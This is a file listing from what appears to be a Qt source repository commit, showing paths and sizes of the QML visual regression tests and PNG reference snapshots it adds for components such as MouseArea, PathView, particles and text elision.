-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/drag.qml5207
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.0.pngbin0 -> 1701 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.1.pngbin0 -> 1701 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.10.pngbin0 -> 1701 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.11.pngbin0 -> 1721 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.12.pngbin0 -> 1705 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.13.pngbin0 -> 1705 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.14.pngbin0 -> 1701 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.2.pngbin0 -> 1701 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.3.pngbin0 -> 1704 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.4.pngbin0 -> 1704 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.5.pngbin0 -> 1705 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.6.pngbin0 -> 1705 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.7.pngbin0 -> 1701 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.8.pngbin0 -> 1701 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.9.pngbin0 -> 1705 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.qml5127
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.0.pngbin0 -> 486 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.1.pngbin0 -> 486 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.10.pngbin0 -> 494 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.11.pngbin0 -> 494 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.12.pngbin0 -> 494 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.13.pngbin0 -> 494 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.14.pngbin0 -> 494 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.15.pngbin0 -> 494 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.2.pngbin0 -> 489 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.3.pngbin0 -> 489 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.4.pngbin0 -> 489 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.5.pngbin0 -> 496 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.6.pngbin0 -> 496 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.7.pngbin0 -> 496 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.8.pngbin0 -> 496 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.9.pngbin0 -> 494 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.qml5867
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.0.pngbin0 -> 471 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.1.pngbin0 -> 474 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.10.pngbin0 -> 479 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.11.pngbin0 -> 479 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.12.pngbin0 -> 479 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.13.pngbin0 -> 479 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.14.pngbin0 -> 479 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.15.pngbin0 -> 479 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.16.pngbin0 -> 1454 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.17.pngbin0 -> 1454 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.18.pngbin0 -> 1454 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.19.pngbin0 -> 1454 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.2.pngbin0 -> 474 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.20.pngbin0 -> 1454 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.21.pngbin0 -> 1454 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.22.pngbin0 -> 1454 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.3.pngbin0 -> 474 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.4.pngbin0 -> 481 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.5.pngbin0 -> 481 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.6.pngbin0 -> 481 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.7.pngbin0 -> 481 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.8.pngbin0 -> 479 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.9.pngbin0 -> 479 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.0.pngbin0 -> 1360 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.1.pngbin0 -> 1367 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.2.pngbin0 -> 1367 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.3.pngbin0 -> 1372 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.4.pngbin0 -> 1382 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.5.pngbin0 -> 1379 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.6.pngbin0 -> 1390 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.7.pngbin0 -> 1379 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.8.pngbin0 -> 1380 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.9.pngbin0 -> 1379 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.qml5039
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/drag.qml26
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/mousearea-flickable.qml52
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/mousearea-visual.qml135
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativemousearea/nested.qml62
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.0.pngbin0 -> 1055 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.1.pngbin0 -> 10086 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.2.pngbin0 -> 14829 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.3.pngbin0 -> 14095 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.qml775
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeparticles/particles.qml56
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativeparticles/star.pngbin0 -> 262 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.0.pngbin0 -> 1114 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.1.pngbin0 -> 1119 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.2.pngbin0 -> 1102 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.3.pngbin0 -> 1092 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.4.pngbin0 -> 1140 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.5.pngbin0 -> 1140 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview-2.qml1855
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.0.pngbin0 -> 1169 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.1.pngbin0 -> 1172 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.2.pngbin0 -> 1201 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.3.pngbin0 -> 1164 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.4.pngbin0 -> 1227 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.5.pngbin0 -> 1184 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.6.pngbin0 -> 1189 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.qml2567
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepathview/test-pathview-2.qml70
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepathview/test-pathview.qml70
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.0.pngbin0 -> 263 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.1.pngbin0 -> 280 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.2.pngbin0 -> 270 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.3.pngbin0 -> 280 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.4.pngbin0 -> 280 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.5.pngbin0 -> 283 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.6.pngbin0 -> 281 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.qml1603
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/usingRepeater.0.pngbin0 -> 1199 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/usingRepeater.qml135
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepositioners/dynamic.qml70
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativepositioners/usingRepeater.qml16
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.0.pngbin0 -> 1513 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.1.pngbin0 -> 1537 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.2.pngbin0 -> 1537 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.3.pngbin0 -> 1537 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.qml795
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/smoothedfollow.qml128
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/clock.qml64
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/background.pngbin0 -> 46895 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/center.pngbin0 -> 765 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/clock.pngbin0 -> 20653 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/hour.pngbin0 -> 625 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/minute.pngbin0 -> 625 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/content/second.pngbin0 -> 303 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.0.pngbin0 -> 941 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.1.pngbin0 -> 975 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.2.pngbin0 -> 1235 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.3.pngbin0 -> 1225 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.4.pngbin0 -> 1247 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.5.pngbin0 -> 1243 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.6.pngbin0 -> 1234 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.7.pngbin0 -> 1242 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-MAC/follow.qml1763
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.0.pngbin0 -> 950 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.1.pngbin0 -> 983 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.2.pngbin0 -> 1243 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.3.pngbin0 -> 1235 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.4.pngbin0 -> 1253 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.5.pngbin0 -> 1249 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.6.pngbin0 -> 1241 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.7.pngbin0 -> 1251 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.qml1763
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/clock.0.pngbin0 -> 16333 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/clock.1.pngbin0 -> 16437 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/clock.2.pngbin0 -> 16543 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/clock.qml615
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.0.pngbin0 -> 941 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.1.pngbin0 -> 975 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.2.pngbin0 -> 1235 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.3.pngbin0 -> 1225 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.4.pngbin0 -> 1247 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.5.pngbin0 -> 1243 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.6.pngbin0 -> 1234 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.7.pngbin0 -> 1242 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data/follow.qml1763
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativespringanimation/follow.qml79
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.pngbin0 -> 7233 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/multilineAlign.0.pngbin0 -> 2388 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/multilineAlign.qml247
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-X11/multilineAlign.0.pngbin0 -> 762 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-X11/multilineAlign.qml247
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/align/data/multilineAlign.0.pngbin0 -> 1895 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/align/data/multilineAlign.qml247
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml22
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/align/multilineAlign.qml25
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-MAC/parentanchor.0.pngbin0 -> 1392 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-MAC/parentanchor.qml131
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-X11/parentanchor.0.pngbin0 -> 1313 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-X11/parentanchor.qml131
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data/parentanchor.qml131
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/parentanchor.qml15
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/QTBUG-14469.qml23
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-MAC/QTBUG-14469.0.pngbin0 -> 210 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-MAC/QTBUG-14469.1.pngbin0 -> 270 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-MAC/QTBUG-14469.qml475
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-X11/QTBUG-14469.0.pngbin0 -> 210 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-X11/QTBUG-14469.qml475
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data/QTBUG-14469.0.pngbin0 -> 422 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data/QTBUG-14469.qml475
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/data-MAC/qtbug_14865.0.pngbin0 -> 1640 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/data-MAC/qtbug_14865.1.pngbin0 -> 625 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/data-MAC/qtbug_14865.qml447
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/data-X11/qtbug_14865.0.pngbin0 -> 303 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/data-X11/qtbug_14865.1.pngbin0 -> 303 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/data-X11/qtbug_14865.qml447
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/data/qtbug_14865.0.pngbin0 -> 1400 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/data/qtbug_14865.qml447
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.0.pngbin0 -> 491 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.1.pngbin0 -> 491 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.qml279
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.0.pngbin0 -> 1240 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.1.pngbin0 -> 1106 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.2.pngbin0 -> 999 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.3.pngbin0 -> 864 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.4.pngbin0 -> 703 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.qml991
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.0.pngbin0 -> 791 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.1.pngbin0 -> 854 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.qml303
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.0.pngbin0 -> 581 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.1.pngbin0 -> 483 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.qml279
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.0.pngbin0 -> 1189 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.1.pngbin0 -> 1068 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.2.pngbin0 -> 948 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.3.pngbin0 -> 819 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.4.pngbin0 -> 682 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.qml991
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.0.pngbin0 -> 903 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.1.pngbin0 -> 814 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.2.pngbin0 -> 809 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.3.pngbin0 -> 527 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.4.pngbin0 -> 526 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.5.pngbin0 -> 399 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.qml1323
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/elide.qml32
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/elide2.qml13
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/elide/multilength.qml20
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/BorderedText.qml9
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext.0.pngbin0 -> 14238 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext2.0.pngbin0 -> 3481 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext2.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext3.0.pngbin0 -> 53503 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext3.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext.0.pngbin0 -> 9321 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext2.0.pngbin0 -> 10663 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext2.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext.0.pngbin0 -> 13140 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext2.0.pngbin0 -> 1503 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext2.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext3.0.pngbin0 -> 6368 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/plaintext3.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/richtext.0.pngbin0 -> 9297 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/richtext.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/richtext2.0.pngbin0 -> 10626 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-X11/richtext2.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext.0.pngbin0 -> 77181 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext2.0.pngbin0 -> 2778 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext2.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext3.0.pngbin0 -> 53503 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext3.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext.0.pngbin0 -> 103375 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext2.0.pngbin0 -> 10671 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext2.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/plaintext.qml101
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/plaintext2.qml23
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/plaintext3.qml62
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/richtext.qml47
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/font/richtext2.qml43
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.pngbin0 -> 343 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.pngbin0 -> 465 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml11
